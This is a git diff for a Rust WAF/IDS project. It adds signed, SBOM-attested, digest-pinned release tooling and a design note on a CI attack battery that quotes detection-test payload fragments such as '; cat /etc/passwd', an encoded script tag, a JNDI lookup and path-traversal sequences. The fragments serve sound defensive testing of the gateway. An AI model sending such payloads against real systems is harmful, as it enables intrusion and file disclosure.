diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index fff34e93..dd39e338 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -9,38 +9,124 @@ permissions: contents: write packages: write id-token: write + attestations: write jobs: release: runs-on: ubuntu-latest steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + fetch-depth: 0 + - name: Admit annotated vX.Y.Z tag only + run: scripts/admit-release-tag.sh "$GITHUB_REF_NAME" - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable with: toolchain: stable + - uses: sigstore/cosign-installer@d7543c93d881b35a8faa02e8e3605f69b7a1ce62 # v3.10.0 + - uses: anchore/sbom-action/download-syft@a930d0ac434e3182448fe678398ba5713717112a # v0.21.0 - name: Build release binary run: cargo build --locked --release - - name: Stage checksums + - name: Stage binary and binary SBOM run: | mkdir -p dist cp target/release/waf-ids-ai-soc dist/waf-ids-ai-soc-linux-x86_64 - (cd dist && ../scripts/release-checksums.sh waf-ids-ai-soc-linux-x86_64 > SHA256SUMS) + scripts/release-sbom.sh --output dist/sbom.spdx.json dist/waf-ids-ai-soc-linux-x86_64 + - name: Publish GHCR image by digest + id: image + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + echo "$GH_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin + image="ghcr.io/contextualwisdomlab/waf-ids-ai-soc" + tag="${GITHUB_REF_NAME}" + docker build -t "${image}:${tag}" . + push_out="$(docker push "${image}:${tag}")" + digest="$(printf '%s\n' "$push_out" | awk '/digest:/{d=$NF} END{print d}')" + test -n "$digest" + ref="${image}@${digest}" + printf '%s\n' "$ref" > dist/IMAGE-DIGEST.txt + scripts/release-sbom.sh --output dist/image.sbom.spdx.json "$ref" + echo "ref=${ref}" >> "$GITHUB_OUTPUT" + echo "digest=${digest}" >> "$GITHUB_OUTPUT" + echo "image=${image}" >> "$GITHUB_OUTPUT" + - name: Checksums and keyless blob signatures + run: | + set -euo pipefail + (cd dist && ../scripts/release-checksums.sh \ + waf-ids-ai-soc-linux-x86_64 \ + sbom.spdx.json \ + image.sbom.spdx.json \ + IMAGE-DIGEST.txt > SHA256SUMS) cat dist/SHA256SUMS + cosign sign-blob --yes \ + --bundle dist/waf-ids-ai-soc-linux-x86_64.sigstore.json \ + dist/waf-ids-ai-soc-linux-x86_64 + cosign sign-blob --yes \ + --bundle dist/SHA256SUMS.sigstore.json \ + dist/SHA256SUMS + cosign sign-blob --yes \ + --bundle dist/sbom.spdx.json.sigstore.json \ + dist/sbom.spdx.json + cosign sign-blob --yes \ + --bundle dist/image.sbom.spdx.json.sigstore.json \ + dist/image.sbom.spdx.json + cosign sign-blob --yes \ + --bundle dist/IMAGE-DIGEST.txt.sigstore.json \ + dist/IMAGE-DIGEST.txt + - name: Sign image and attest image SBOM (keyless) + run: | + set -euo pipefail + ref="${{ steps.image.outputs.ref }}" + cosign sign --yes "$ref" + cosign attest --yes --predicate dist/image.sbom.spdx.json --type spdxjson "$ref" + - name: SLSA provenance for binary + uses: actions/attest-build-provenance@977bb373ede98d70efdf65b84cb5f73e068dcc2a # v3.0.0 + with: + subject-path: dist/waf-ids-ai-soc-linux-x86_64 + - name: SLSA provenance for image + uses: actions/attest-build-provenance@977bb373ede98d70efdf65b84cb5f73e068dcc2a # v3.0.0 + with: + subject-name: ghcr.io/contextualwisdomlab/waf-ids-ai-soc + subject-digest: ${{ steps.image.outputs.digest }} + push-to-registry: true + - name: Attest binary SBOM + uses: actions/attest-sbom@115c3be05ff3974bcbd596578934b3f9ce39bf68 # v2.2.0 + with: + subject-path: dist/waf-ids-ai-soc-linux-x86_64 + sbom-path: dist/sbom.spdx.json + - name: Attest image SBOM + uses: actions/attest-sbom@115c3be05ff3974bcbd596578934b3f9ce39bf68 # v2.2.0 + with: + subject-name: ghcr.io/contextualwisdomlab/waf-ids-ai-soc + subject-digest: ${{ steps.image.outputs.digest }} + sbom-path: dist/image.sbom.spdx.json + push-to-registry: true - name: GitHub Release env: GH_TOKEN: ${{ github.token }} run: | + set -euo pipefail + notes="$(mktemp)" + { + echo "Promotion authority is the image digest and Sigstore signatures, not the tag." + echo + echo "Image: \`${{ steps.image.outputs.ref }}\`" + echo "Tag alias: \`ghcr.io/contextualwisdomlab/waf-ids-ai-soc:${GITHUB_REF_NAME}\`" + echo + echo "Verify: \`docs/runbooks/release.md\`" + } > "$notes" gh release create "$GITHUB_REF_NAME" \ dist/waf-ids-ai-soc-linux-x86_64 \ dist/SHA256SUMS \ - --generate-notes \ + dist/sbom.spdx.json \ + dist/image.sbom.spdx.json \ + dist/IMAGE-DIGEST.txt \ + dist/waf-ids-ai-soc-linux-x86_64.sigstore.json \ + dist/SHA256SUMS.sigstore.json \ + dist/sbom.spdx.json.sigstore.json \ + dist/image.sbom.spdx.json.sigstore.json \ + dist/IMAGE-DIGEST.txt.sigstore.json \ + --notes-file "$notes" \ --verify-tag - - name: Publish immutable GHCR image - env: - GH_TOKEN: ${{ github.token }} - run: | - echo "$GH_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin - image="ghcr.io/contextualwisdomlab/waf-ids-ai-soc" - tag="${GITHUB_REF_NAME}" - docker build -t "${image}:${tag}" . - docker push "${image}:${tag}" diff --git a/CHANGELOG.md b/CHANGELOG.md index 3b07d9c1..b0f25247 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,7 +9,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Security -- Tagged releases (`vX.Y.Z`) build a locked binary, SHA-256 checksums, a GitHub Release, and an immutable GHCR image (`ghcr.io/contextualwisdomlab/waf-ids-ai-soc:vX.Y.Z`). Promotion and rollback are tag-for-tag (`docs/runbooks/release.md`). No moving `latest` tag. +- Release admission refuses lightweight/unsigned `vX.Y.Z` tags (`scripts/admit-release-tag.sh`). Kubernetes pin is the GHCR content digest (`scripts/pin-k8s-digest.sh`); tag aliases are rejected. +- Tagged releases (`vX.Y.Z`) build a locked binary, basename SHA-256 checksums, SPDX SBOMs (binary and image), keyless Sigstore signatures (OIDC, no stored Cosign key), GitHub SLSA provenance, and a GHCR image signed **by digest**. The GitHub Release is created only after signatures succeed. Promotion authority is the digest in `IMAGE-DIGEST.txt`, not the tag alias. No moving `latest` tag (`docs/runbooks/release.md`). - PostgreSQL outbox consumers for TAXII poll, Clearfolio document submit, and contextual-orchestrator SOC analysis (issue #81 remainder). Operator-triggered HTTP leaves through `taxii.collection_polled`, `clearfolio.document_submitted`, and `soc.analysis_requested` with leased-worker retries and unique receipts. Request path returns HTTP 202 and `GET /api/outbox/{message_id}` exposes receipt evidence. Secrets never enter outbox payloads (TAXII bearer lives in the credential registry). File/memory adapters keep the previous synchronous path. Client IPs, paths, indicator values, and actor names stay unmasked. LLM analysis remains advisory and never auto-enforces. diff --git a/crates/waf-ids-core/src/lib.rs b/crates/waf-ids-core/src/lib.rs index 0e306ba6..c6387b3c 100644 --- a/crates/waf-ids-core/src/lib.rs +++ b/crates/waf-ids-core/src/lib.rs @@ -1135,6 +1135,8 @@ pub fn commercial_readiness_snapshot_at(data: &AppData, now_unix: u64) -> Commer "docs/security/threat-model.md".to_string(), "docs/security/compliance-mapping.md".to_string(), "docs/runbooks/release.md".to_string(), + "docs/doctoring/signed-release.md".to_string(), + "docs/papers/nist-sp-800-218-ssdf.pdf".to_string(), ], } } @@ -1172,6 +1174,8 @@ pub fn buyer_evidence_manifest_at(data: &AppData, now_unix: u64) -> BuyerEvidenc "docs/figma/enterprise-product-architecture.md".to_string(), "docs/ponytail/2026-07-02-complexity-audit.md".to_string(), "docs/runbooks/release.md".to_string(), + "docs/doctoring/signed-release.md".to_string(), + "docs/papers/nist-sp-800-218-ssdf.pdf".to_string(), ], deployment_assets: readiness.deployment_assets, } diff --git a/docs/architecture.md b/docs/architecture.md index 6bbc1e7e..b4cd0f01 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -35,7 +35,7 @@ flowchart LR - `crates/waf-ids-core`: reusable domain models plus validation, upsert, scoring, DNSBL zone export, event retention, threat-feed freshness, KPI snapshot, and commercial readiness logic. - `/admin`: embedded web console. - `/gateway/{path}`: route selection, request scoring, monitor/block decision, optional upstream proxying. -- `.github/workflows/release.yml`: tag `vX.Y.Z` builds a locked binary, SHA-256 checksums, a GitHub Release, and an immutable GHCR image. Rollback is the previous tag (`docs/runbooks/release.md`). +- `.github/workflows/release.yml`: annotated `vX.Y.Z` tags only (lightweight tags are refused). Builds a locked binary, basename SHA-256 checksums, SPDX SBOMs, keyless Sigstore signatures, SLSA provenance, and a GHCR image signed by digest. Kubernetes pin is `IMAGE-DIGEST.txt` (`docs/runbooks/release.md`). - `/dnsbl/zone`: DNSBL zone text using the configured origin, suitable for publication through an authoritative DNS server. - `/api/commercial/license`: tenant/license metadata for commercial packaging. - `/api/commercial/readiness`: computed 2B KRW sale-readiness checks and blockers. diff --git a/docs/doctoring/ci-attack-evidence-battery.md b/docs/doctoring/ci-attack-evidence-battery.md new file mode 100644 index 00000000..8e6fcc24 --- /dev/null +++ b/docs/doctoring/ci-attack-evidence-battery.md @@ -0,0 +1,71 @@ +# Doctoring — CI attack-evidence battery (issue #11) + +This note grounds the issue #11 slice: the compiled gateway binary is started +in CI with a hermetic libcoraza engine, a deterministic OWASP CRS attack +battery is fired over real HTTP, and every attempt must be blocked with the +cited CRS rule id and recorded as a security event that keeps the forwarded +client IP unmasked. + +## What is proven (and what is not) + +Proven end to end on the real binary: operator-supplied `CORAZA_LIB_PATH` +loading, rules-file admission, per-transaction evaluation of method/URI/body, +block responses citing `coraza/crs: rule `, benign traffic still +forwarding, and unmasked client attribution in `/api/events`. + +Not proven: detection *quality* against arbitrary live traffic. The CI engine +is the build-script ABI stub (`src/coraza_abi_stub.rs`), a fixture that +mirrors the libcoraza C ABI, not Coraza itself. Quality evidence stays with an +operator deployment using a real libcoraza plus the OWASP Core Rule Set; this +slice only removes "the path was never exercised in CI" from the gap list. + +## Adopted standards and literature + +OWASP Foundation. (n.d.). *OWASP Core Rule Set documentation*. +https://coreruleset.org/docs/ + +- **Design impact:** Battery entries map to canonical CRS rule families — + 942100 SQLi (libinjection), 941100 XSS (libinjection), 930100 path + traversal, 932100 Unix command injection, 944120 Log4j JNDI. Rule ids in + block reasons and events stay CRS ids so operator dashboards read the same + vocabulary in CI evidence and production. + +Scarfone, K., & Mell, P. (2007). *Guide to intrusion detection and prevention +systems (IDPS)* (NIST Special Publication 800-94). National Institute of +Standards and Technology. https://doi.org/NIST.SP.800-94 + +- **Design impact:** IDPS evaluation distinguishes the detection *path* from + detection *efficacy*. SP 800-94's testing guidance motivates keeping the two + claims separate: CI asserts the prevention path (signature → interrupt → + block → record), while efficacy against evasive payloads requires curated + corpora and is explicitly out of scope for this fixture. + +Saltzer, J. H., & Schroeder, M. D. (1975). The protection of information in +computer systems. *Proceedings of the IEEE*, *63*(9), 1278–1308. +https://doi.org/10.1109/PROC.1975.9939 + +- **Design impact:** Complete mediation and fail-safe defaults. The battery + runs through the same route pipeline (`mode: block`) as production traffic, + so no test-only bypass exists; an engine that fails to load refuses startup + before bind instead of degrading silently. + +MITRE. (n.d.). *CWE-20: Improper input validation*. MITRE Corporation. +https://cwe.mitre.org/data/definitions/20.html + +- **Design impact:** The battery covers encoded variants (`%3Cscript`, + `%24%7BJNDI`, `..%2F`) because input-validation defects classically live at + decoding boundaries; the gateway evaluates the raw request line exactly as + received, so fixtures pin that behavior rather than a decoded copy. + +## Verification posture + +- `tests/binary.rs::live_gateway_detects_owasp_attack_battery_end_to_end` + spawns the binary, creates the block route over the admin API, fires nine + battery cases (GET query attacks across five rule families plus a POST-body + XSS), asserts HTTP 403 + `engine=coraza` + cited rule id per case, asserts a + benign request forwards, and asserts `/api/events` records one event per + attempt with `X-Forwarded-For` preserved verbatim. +- `src/coraza_inprocess.rs::stub_engine_battery_matches_each_owasp_family` + pins the fixture contract itself, including first-match ordering so the + overlapping `; cat /etc/passwd` payload attributes to RCE (932100), not + traversal. diff --git a/docs/doctoring/signed-release.md b/docs/doctoring/signed-release.md new file mode 100644 index 00000000..306bcc64 --- /dev/null +++ b/docs/doctoring/signed-release.md @@ -0,0 +1,46 @@ +# Doctoring — signed release, SBOM, and provenance + +This note grounds issue #84 remainder (keyless Sigstore signatures and +SBOM/SLSA attestations on the same `vX.Y.Z` tag as checksums/GHCR). +IEEE/ACM PDFs are not redistributed. NIST SP 800-218 is a U.S. government +work and is committed at `docs/papers/nist-sp-800-218-ssdf.pdf`. + +## Adopted standards and literature + +Sigstore. (n.d.). *Cosign documentation*. https://docs.sigstore.dev/cosign/ + +- **Design impact:** The release workflow uses GitHub OIDC (`id-token: write`) + for keyless signing. No long-lived Cosign key is stored. Blobs (binary, + `SHA256SUMS`, SBOMs, image digest file) get `cosign sign-blob` bundles. + The GHCR image is signed by digest (`image@sha256:…`), never by a moving + tag. + +SLSA Project. (2025). *SLSA specification version 1.2*. +https://slsa.dev/spec/v1.2/ + +- **Design impact:** `actions/attest-build-provenance` binds the binary and + the image digest to in-toto SLSA provenance. `actions/attest-sbom` binds + SPDX SBOMs to the same subjects. GitHub Release is created only after + signatures and attestations succeed. + +National Institute of Standards and Technology. (2022). *Secure Software +Development Framework (SSDF) version 1.1* (NIST SP 800-218). +https://doi.org/10.6028/NIST.SP.800-218 +`docs/papers/nist-sp-800-218-ssdf.pdf` + +- **Design impact:** PS.3 / PW.4 — produce integrity evidence (checksums, + SBOM, signatures, provenance) for the shipped artifact. A tag alias is + not promotion authority; operators verify the digest and signatures + (`docs/runbooks/release.md`). + +Anchore. (n.d.). *Syft*. https://github.com/anchore/syft + +- **Design impact:** `scripts/release-sbom.sh` fails closed without Syft and + rejects non-SPDX JSON. Binary and container filesystem SBOMs are both + attached to the GitHub Release. + +## Operator next action + +Tag `vX.Y.Z` from the reviewed merge commit on `main`. After the Release +workflow finishes, verify with the commands in `docs/runbooks/release.md`. +Point Kubernetes at the digest in `IMAGE-DIGEST.txt`, not at `latest`. diff --git a/docs/papers/nist-sp-800-218-ssdf.pdf b/docs/papers/nist-sp-800-218-ssdf.pdf new file mode 100644 index 00000000..0158f4eb Binary files /dev/null and b/docs/papers/nist-sp-800-218-ssdf.pdf differ diff --git a/docs/product-technical-gap-baseline.md b/docs/product-technical-gap-baseline.md index f2dcc30c..6762e34f 100644 --- a/docs/product-technical-gap-baseline.md +++ b/docs/product-technical-gap-baseline.md @@ -1,6 +1,6 @@ # Product and technical gap baseline -Snapshot date: 2026-08-23T20:20Z (exact-head inventory of then-open GitHub PRs +Snapshot date: 2026-08-24T06:10Z (exact-head inventory of then-open GitHub PRs and Issues plus operator-perceptible gaps). Update this file on every hourly loop. Commercial contract and `/api/commercial/readiness` remain **2B KRW**. The @@ -25,7 +25,10 @@ not “waiting on review/CI time”. | PR | Title | Head | Checks | Reviews | Merge blocker | | --- | --- | --- | --- | --- | --- | -| [#107](https://github.com/ContextualWisdomLab/wardnet/pull/107) | feat(release): tagged GitHub Release with SHA-256 and immutable GHCR | `feat/issue-84-signed-release` stacked on #106 | local fmt/test/clippy + two `/healthz` smokes (2B KRW, evidence includes release runbook) | Author this pass | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #105 then #106 first. Do not `--admin`. | +| [#110](https://github.com/ContextualWisdomLab/wardnet/pull/110) | feat(waf): CI attack-evidence battery against the live binary (issue #11) | `feat/issue-11-attack-evidence-ci` stacked on #109 | local fmt/test/clippy green; battery + fixture tests pass | Author this pass | Org 2-approval + self-author. Merge the stack below first; retarget to `main` when #109 lands. | +| [#109](https://github.com/ContextualWisdomLab/wardnet/pull/109) | feat(release): refuse lightweight tags and pin k8s by digest | `feat/issue-84-unsigned-tag-admission` stacked on #108 | local fmt/test/clippy + two `/healthz` smokes (2B KRW) | Author this pass | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #105 then #106 then #107 then #108 first. Do not `--admin`. | +| [#108](https://github.com/ContextualWisdomLab/wardnet/pull/108) | feat(release): keyless cosign, SPDX SBOM, SLSA on the same tag | `feat/issue-84-cosign-sbom` stacked on #107 | local fmt/test/clippy + two `/healthz` smokes (2B KRW, evidence includes signed-release doctoring) | Author this pass | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #105 then #106 then #107 first. Do not `--admin`. Do not re-implement checksums. | +| [#107](https://github.com/ContextualWisdomLab/wardnet/pull/107) | feat(release): tagged GitHub Release with SHA-256 and immutable GHCR | `feat/issue-84-signed-release` stacked on #106 | still-valid Devin basename checksums + rust GRANT race (`tuple concurrently updated`) fixed this pass; local fmt/test/clippy + two `/healthz` smokes | Author this pass; Devin COMMENTED (checksum thread still-valid, now fixed) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #105 then #106 first. Do not `--admin`. | | [#106](https://github.com/ContextualWisdomLab/wardnet/pull/106) | feat(store): outbox consumers for TAXII, Clearfolio, and orchestrator | `feat/issue-81-outbox-consumers` stacked on #105 | local fmt/test/clippy + smoke.sh + two `/healthz` and `/admin`/`/api/commercial/readiness` (2B KRW) | Author this pass | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #105 first. Do not `--admin`. Do not re-implement OCC or prior store slices. | | [#105](https://github.com/ContextualWisdomLab/wardnet/pull/105) | feat(store): optimistic concurrency on postgres snapshots | `feat/issue-80-optimistic-concurrency` stacked on #99 | Devin still-valid startup-version 409 fixed this pass (`load_postgres` advances `snapshot_version` after save); local fmt/test/clippy + two `/healthz` smokes | Author; Devin COMMENTED (startup false-conflict addressed, thread resolved) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 first. Do not `--admin`. Do not re-implement HASH/role/backup. | | [#104](https://github.com/ContextualWisdomLab/wardnet/pull/104) | feat(store): HASH-partition security_event by tenant | merged into rustls stack then #99 | prior hour | Author prior hour | Folded into #99. Do not re-implement. | @@ -59,7 +62,7 @@ by ruleset `18156473` (not by failing Checks). Do not `--admin` merge. | [#87](https://github.com/ContextualWisdomLab/wardnet/issues/87) | [Production readiness] Close the evidence-backed Wardnet production gate | medium | | [#86](https://github.com/ContextualWisdomLab/wardnet/issues/86) | [P0] Put proven WAF/IDS engines in the enforcement path and publish detection-quality evidence | **critical — in-process + sidecar slices shipped, unmerged** | | [#85](https://github.com/ContextualWisdomLab/wardnet/issues/85) | [P1] Establish production telemetry, SLOs, incident response, and disaster-recovery evidence | high | -| [#84](https://github.com/ContextualWisdomLab/wardnet/issues/84) | [P1] Build an immutable signed release, promotion, and rollback pipeline | **high — checksums/GHCR tag this pass; cosign remainder** | +| [#84](https://github.com/ContextualWisdomLab/wardnet/issues/84) | [P1] Build an immutable signed release, promotion, and rollback pipeline | **high — checksums/GHCR #107; cosign/SBOM #108; annotated-tag admission this pass** | | [#83](https://github.com/ContextualWisdomLab/wardnet/issues/83) | [P1] Add bounded distributed admission control, trusted client attribution, and overload behavior | high | | [#82](https://github.com/ContextualWisdomLab/wardnet/issues/82) | [P1] Integrate Keyverse identity, tenant authorization, consent, and human approval evidence | high (blocked) | | [#81](https://github.com/ContextualWisdomLab/wardnet/issues/81) | [P0] Add a transactional outbox and idempotent leased workers for external effects | **critical — first slice on #99; retention on #101; TAXII/Clearfolio/orchestrator consumers this pass** | @@ -201,16 +204,28 @@ holes on untouched handlers stay listed for later loops. ## This loop’s shipped gap -Issue **#84** first slice: `vX.Y.Z` tags produce a locked binary, SHA-256 -checksums, a GitHub Release, and an immutable GHCR image. Promotion and -rollback are tag-for-tag (`docs/runbooks/release.md`). Do not re-implement -#78–#81 store slices or OCC. +Issue **#11** first slice (PR #110, stacked on #109): the build-script libcoraza +ABI stub now carries a deterministic OWASP CRS battery (942100 SQLi, 941100 +XSS, 930100 traversal, 932100 RCE incl. `; cat /etc/passwd` overlap ordering, +944120 Log4j JNDI; raw + percent-encoded needles), and a live-binary test fires +nine cases over real HTTP asserting 403 + `engine=coraza` + cited rule id, +benign forwarding, and unmasked `X-Forwarded-For` attribution in `/api/events`. +Doctoring: `docs/doctoring/ci-attack-evidence-battery.md` (APA 7th). Detection +*quality* stays with operator-supplied real libcoraza + CRS; CI proves the path. + +Strix infra-failure loop: PRs #72/#77/#93/#94/#95 failed strix on provider +infrastructure (`openai-direct/gpt-5.6-luna` exit-1 fallbacks and 5400 s NIM +timeouts — zero findings). All five were re-scanned via central +`repository_dispatch` (`strix-scan`) with matching base/head payloads. Do not +treat these as code findings; do not rotate review-agent keys. ## Next hourly loop (do, do not report) -1. Second independent APPROVE on #91/#92. Do not `--admin`. -2. Keep #94 independently; #95 then #96 then #97 then #98 then #99 then #105 - then #106 then this release PR merge-ready. Do not `--admin`. -3. Next runtime gap if policy still blocks: cosign/SBOM on the same tag, or - Keyverse identity (#82). +1. Merge stack bottom-up as agent approvals land: #95 then retarget+update + #96 → merge, then #97, #98, #99, #105, #106, #107, #108, #109, then + retarget #110 to `main`. +2. Second independent APPROVE comes from the OpenCode review agent via the + org scheduler (`Required PR Review Merge Scheduler`, budget 1/run); keep + heads current so dispatches bind to the exact head. +3. Resolve any new CHANGES_REQUESTED from opencode/noema on current heads. 4. Refresh this file’s PR/Issue tables from `gh pr list` / `gh issue list`. diff --git a/docs/runbooks/release.md b/docs/runbooks/release.md index 26128ae8..659dad88 100644 --- a/docs/runbooks/release.md +++ b/docs/runbooks/release.md @@ -1,17 +1,27 @@ # Release, promotion, and rollback -Issue #84 first slice. IEEE/ACM PDFs are not redistributed. Buyer evidence -path: `GET /api/commercial/evidence-manifest` lists this runbook. +Issue #84. IEEE/ACM PDFs are not redistributed. Buyer evidence path: +`GET /api/commercial/evidence-manifest` lists this runbook. NIST SP 800-218 +is committed at `docs/papers/nist-sp-800-218-ssdf.pdf`. ## Immutable artifacts -A git tag `vX.Y.Z` starts `.github/workflows/release.yml`, which: +A git tag `vX.Y.Z` starts `.github/workflows/release.yml`. Lightweight +tags are refused (`scripts/admit-release-tag.sh` requires an annotated +tag object). The workflow then: 1. Builds `waf-ids-ai-soc` with `cargo build --locked --release` -2. Writes `SHA256SUMS` via `scripts/release-checksums.sh` -3. Creates a GitHub Release with the Linux binary and checksums -4. Pushes an immutable image `ghcr.io/contextualwisdomlab/waf-ids-ai-soc:vX.Y.Z` - (no moving `latest` tag) +2. Writes basename `SHA256SUMS` via `scripts/release-checksums.sh` +3. Writes SPDX SBOMs via `scripts/release-sbom.sh` (binary and image) +4. Keyless-signs the binary, checksums, SBOMs, and image-digest file +5. Pushes `ghcr.io/contextualwisdomlab/waf-ids-ai-soc:vX.Y.Z` and records + the content digest in `IMAGE-DIGEST.txt` +6. Keyless-signs the image **by digest** and attests the image SBOM +7. Attaches GitHub artifact attestations (SLSA provenance + SBOM) +8. Creates the GitHub Release **only after** signatures succeed + +GHCR tags are aliases. Promotion authority is the digest plus signatures, +not the tag. There is no moving `latest` tag. Operators verify a binary with: @@ -19,17 +29,49 @@ Operators verify a binary with: # SHA256SUMS records basenames only, so this works next to the download sha256sum -c SHA256SUMS # or: shasum -a 256 -c SHA256SUMS + +cosign verify-blob \ + --bundle waf-ids-ai-soc-linux-x86_64.sigstore.json \ + --certificate-oidc-issuer https://token.actions.githubusercontent.com \ + --certificate-identity-regexp '^https://github.com/ContextualWisdomLab/wardnet/.github/workflows/release.yml@refs/tags/v' \ + waf-ids-ai-soc-linux-x86_64 + +gh attestation verify waf-ids-ai-soc-linux-x86_64 \ + --repo ContextualWisdomLab/wardnet ``` +Operators verify the image with: + +```bash +ref="$(cat IMAGE-DIGEST.txt)" # ghcr.io/...@sha256:... +cosign verify \ + --certificate-oidc-issuer https://token.actions.githubusercontent.com \ + --certificate-identity-regexp '^https://github.com/ContextualWisdomLab/wardnet/.github/workflows/release.yml@refs/tags/v' \ + "$ref" +cosign verify-attestation --type spdxjson \ + --certificate-oidc-issuer https://token.actions.githubusercontent.com \ + --certificate-identity-regexp '^https://github.com/ContextualWisdomLab/wardnet/.github/workflows/release.yml@refs/tags/v' \ + "$ref" +``` + +Tampered bytes, a substituted digest, or a tag that no longer matches +`IMAGE-DIGEST.txt` fail verification. Do not promote a tag whose digest +changed. + ## Promotion 1. Tag from the merge commit on `main`: `git tag -a vX.Y.Z -m "wardnet vX.Y.Z"` + (lightweight `git tag vX.Y.Z` is not admitted) 2. `git push origin vX.Y.Z` 3. Wait for the Release workflow -4. Point Kubernetes at the tag (not `latest`): +4. Pin Kubernetes from `IMAGE-DIGEST.txt` (not `latest`, not the tag alone): + +```bash +scripts/pin-k8s-digest.sh IMAGE-DIGEST.txt +``` ```yaml -image: ghcr.io/contextualwisdomlab/waf-ids-ai-soc:vX.Y.Z +image: ghcr.io/contextualwisdomlab/waf-ids-ai-soc@sha256: imagePullPolicy: IfNotPresent ``` @@ -38,10 +80,10 @@ until a tagged image exists; bump that pin in the same release PR as the tag. ## Rollback -1. Identify the previous GitHub Release tag (for example `v0.1.0`) -2. Set the Deployment image back to that tag +1. Identify the previous GitHub Release tag and its `IMAGE-DIGEST.txt` +2. Set the Deployment image back to that digest 3. Confirm `/healthz` and `/api/commercial/readiness` on the rolled-back replica 4. Do not retag or overwrite an existing `v*` image -Declared rollback unit: one immutable tag. Remaining: keyless cosign/SBOM -attestation on the same tag (SLSA provenance). +Declared rollback unit: one immutable digest. Remaining on #84: coverage +and attack-evidence bundle for the signed artifacts. diff --git a/docs/security/compliance-mapping.md b/docs/security/compliance-mapping.md index 8251d794..1c326dd9 100644 --- a/docs/security/compliance-mapping.md +++ b/docs/security/compliance-mapping.md @@ -4,7 +4,7 @@ This document maps the commercial baseline to common enterprise security review | Area | Baseline Evidence | Gap Before Regulated Production | | --- | --- | --- | -| Secure SDLC | Rust implementation, tests, clippy, smoke script | Signed releases, SBOM, SAST/DAST gates | +| Secure SDLC | Rust implementation, tests, clippy, smoke script, tagged keyless Cosign + SPDX SBOM + SLSA attestations | Admission that rejects unsigned tags, hermetic reproducible builds | | Access Control | `ADMIN_TOKEN` / multi-token RBAC (`token:actor:role`, including readonly) for write APIs and audit-log read | SSO/OIDC, SCIM, MFA enforcement | | Auditability | Security events and support bundle | Immutable admin audit log | | Data Protection | No default external telemetry, no secrets in support bundle | Encryption at rest, retention policy | diff --git a/scripts/admit-release-tag.sh b/scripts/admit-release-tag.sh new file mode 100755 index 00000000..090c436a --- /dev/null +++ b/scripts/admit-release-tag.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Fail closed unless REF is an annotated git tag (lightweight/unsigned refs +# are not admitted to the release pipeline). +set -euo pipefail +if [[ $# -ne 1 ]]; then + echo "usage: $0 " >&2 + exit 1 +fi +ref="$1" +if [[ ! "$ref" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + echo "admit-release-tag: $ref is not a vX.Y.Z tag" >&2 + exit 1 +fi +kind="$(git cat-file -t "$ref" 2>/dev/null || true)" +if [[ "$kind" != "tag" ]]; then + echo "admit-release-tag: $ref is ${kind:-missing}, not an annotated tag; use git tag -a" >&2 + exit 1 +fi +echo "admit-release-tag: admitted annotated tag $ref" diff --git a/scripts/pin-k8s-digest.sh b/scripts/pin-k8s-digest.sh new file mode 100755 index 00000000..0a309762 --- /dev/null +++ b/scripts/pin-k8s-digest.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Fail closed unless IMAGE-DIGEST.txt is a GHCR content digest, then print +# the Kubernetes image line operators must pin (never a floating tag). +set -euo pipefail +if [[ $# -ne 1 ]]; then + echo "usage: $0 " >&2 + exit 1 +fi +file="$1" +if [[ ! -f "$file" ]]; then + echo "pin-k8s-digest: missing $file" >&2 + exit 1 +fi +ref="$(tr -d '[:space:]' < "$file")" +if [[ ! "$ref" =~ ^ghcr\.io/contextualwisdomlab/waf-ids-ai-soc@sha256:[0-9a-f]{64}$ ]]; then + echo "pin-k8s-digest: refused non-digest or wrong image: $ref" >&2 + exit 1 +fi +printf 'image: %s\nimagePullPolicy: IfNotPresent\n' "$ref" diff --git a/scripts/release-sbom.sh b/scripts/release-sbom.sh new file mode 100755 index 00000000..3d61933c --- /dev/null +++ b/scripts/release-sbom.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +# Generate an SPDX 2.3 JSON SBOM with Syft. Fail closed if syft is missing +# or the output is not SPDX JSON. Used by tagged releases (issue #84). +set -euo pipefail + +usage() { + echo "usage: $0 --output FILE SOURCE" >&2 + echo "SOURCE is a file, directory, or image reference Syft accepts." >&2 + exit 1 +} + +output="" +source="" +while [[ $# -gt 0 ]]; do + case "$1" in + --output) + [[ $# -ge 2 ]] || usage + output="$2" + shift 2 + ;; + -h|--help) + usage + ;; + --) + shift + break + ;; + -*) + usage + ;; + *) + if [[ -n "$source" ]]; then + usage + fi + source="$1" + shift + ;; + esac +done + +if [[ -z "$output" || -z "$source" ]]; then + usage +fi + +if ! command -v syft >/dev/null 2>&1; then + echo "syft is required to generate an SPDX SBOM" >&2 + exit 1 +fi + +mkdir -p "$(dirname -- "$output")" +syft "$source" -o "spdx-json=$output" + +python3 - "$output" <<'PY' +import json +import sys + +path = sys.argv[1] +with open(path, encoding="utf-8") as handle: + document = json.load(handle) +version = document.get("spdxVersion") or document.get("spdx_version") +if not isinstance(version, str) or not version.startswith("SPDX-"): + raise SystemExit(f"{path} is not SPDX JSON (spdxVersion={version!r})") +packages = document.get("packages") +if not isinstance(packages, list): + raise SystemExit(f"{path} SPDX document has no packages list") +print(f"{path}: {version} packages={len(packages)}") +PY diff --git a/src/coraza_abi_stub.rs b/src/coraza_abi_stub.rs index 3e07b413..311e5398 100644 --- a/src/coraza_abi_stub.rs +++ 